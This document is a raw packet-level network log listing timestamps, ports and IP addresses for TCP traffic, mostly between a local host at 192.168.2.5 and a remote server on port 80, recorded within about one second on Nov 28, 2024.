Nov 28, 2024 06:48:07.276715994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.276770115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.278004885 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.278019905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.278081894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.279376984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.279448986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.279491901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.279537916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.281069994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.281128883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.281202078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.281255007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.282747984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.282819986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.316270113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.316359997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.316579103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.316720963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.316942930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.316956043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.317001104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.318905115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.318926096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.318943024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.318960905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.318962097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.318991899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.319016933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.319957972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.320031881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.320091009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.320147991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.321039915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.321106911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.321173906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.321232080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.322197914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.322287083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.322338104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.322392941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.323371887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.323436022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.323468924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.323518991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.324477911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.324537039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.324552059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.324601889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.325565100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.325624943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.325627089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.325679064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.326730013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.326790094 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.326826096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.326880932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.327843904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.327907085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.327964067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.328006983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.329015017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.329081059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.329103947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.329165936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.330069065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.330122948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.364841938 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.364917994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.364962101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.365011930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.365346909 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.365401983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.365463972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.365511894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.366529942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.366578102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.366581917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.366628885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.367629051 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.367697001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.367743015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.367805958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.368750095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.368778944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.368819952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.368872881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.369877100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.369941950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.369986057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.370045900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.371006012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.371061087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.371131897 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.371177912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.372132063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.372184992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.372303963 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.372358084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.373317003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.373387098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.373419046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.373481035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.374402046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.374478102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.374507904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.374567986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.375659943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.375684977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.375718117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.375746012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.376652956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.376710892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.376841068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.376897097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.377799988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.377854109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.377904892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.377960920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.378969908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.379025936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.379080057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.379152060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.380072117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.380137920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.380192995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.380263090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.381210089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.381262064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.381288052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.381552935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.382328987 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.382385015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.382405996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.382462978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.441256046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.441318035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.441318989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.441370010 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.441775084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.441862106 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.441873074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.441905975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.442904949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.442962885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.442984104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.443038940 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.444010019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.444077015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.444129944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.444184065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.445147991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.445199966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.445265055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.445319891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.446290970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.446355104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.446408033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.446474075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.447429895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.447489977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.447514057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.447577953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.448544025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.448592901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.448646069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.448721886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.449708939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.449768066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.449850082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.449906111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.450812101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.450876951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.450946093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.450997114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.451978922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.452058077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.452094078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.452126980 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.453108072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.453165054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.453207970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.453268051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.454263926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.454318047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.454339981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.454390049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.455344915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.455399036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.455442905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.455497026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.456500053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.456549883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.456618071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.456671953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.457643032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.457699060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.457746983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.457801104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.458739996 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.458811998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.458848000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.458900928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.459911108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.459968090 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.460120916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.460184097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.461040020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.461101055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.461160898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.461227894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.462166071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.462232113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.462272882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.462332964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.463368893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.463438988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.463519096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.463573933 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.464412928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.464479923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.464545012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.464601040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.465600014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.465653896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.465656996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.465707064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.466645002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.466702938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.490828991 CET	443	49703	23.1.237.91	192.168.2.5
Nov 28, 2024 06:48:07.490937948 CET	49703	443	192.168.2.5	23.1.237.91
Nov 28, 2024 06:48:07.517121077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.517220020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.517222881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.517277002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.517604113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.517664909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.517714024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.517772913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.518584967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.518649101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.519010067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.519078016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.519118071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.519176960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.519999027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.520081043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.520112038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.520165920 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.520998955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.521071911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.521147013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.521205902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.522011042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.522069931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.522079945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.522124052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.523045063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.523102045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.523154020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.523214102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.523999929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.524061918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.524136066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.524194956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.525012016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.525069952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.525146961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.525217056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.526015043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.526074886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.526146889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.526204109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.527143955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.527180910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.527201891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.527235031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.528052092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.528109074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.528697968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.528755903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.531089067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.531125069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.531172037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.531172037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.566246986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.566304922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.566327095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.566371918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.566796064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.566852093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.566874027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.566936016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.567774057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.567810059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.567826033 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.567854881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.568727970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.568794966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.568873882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.568929911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.569722891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.569777012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.569848061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.569905996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.570755005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.570820093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.570849895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.570900917 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.571743011 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.571818113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.571846962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.571899891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.572727919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.572792053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.572858095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.572921991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.573731899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.573786974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.573843956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.573909998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.574795961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.574850082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.574851036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.574908018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.575752020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.575814009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.575822115 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.575870037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.576771975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.576826096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.576837063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.576879025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.577785969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.577838898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.577965021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.578021049 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.578792095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:07.578850985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:07.578926086 CET	80	49704	185.215.113.206	192.168.2.5
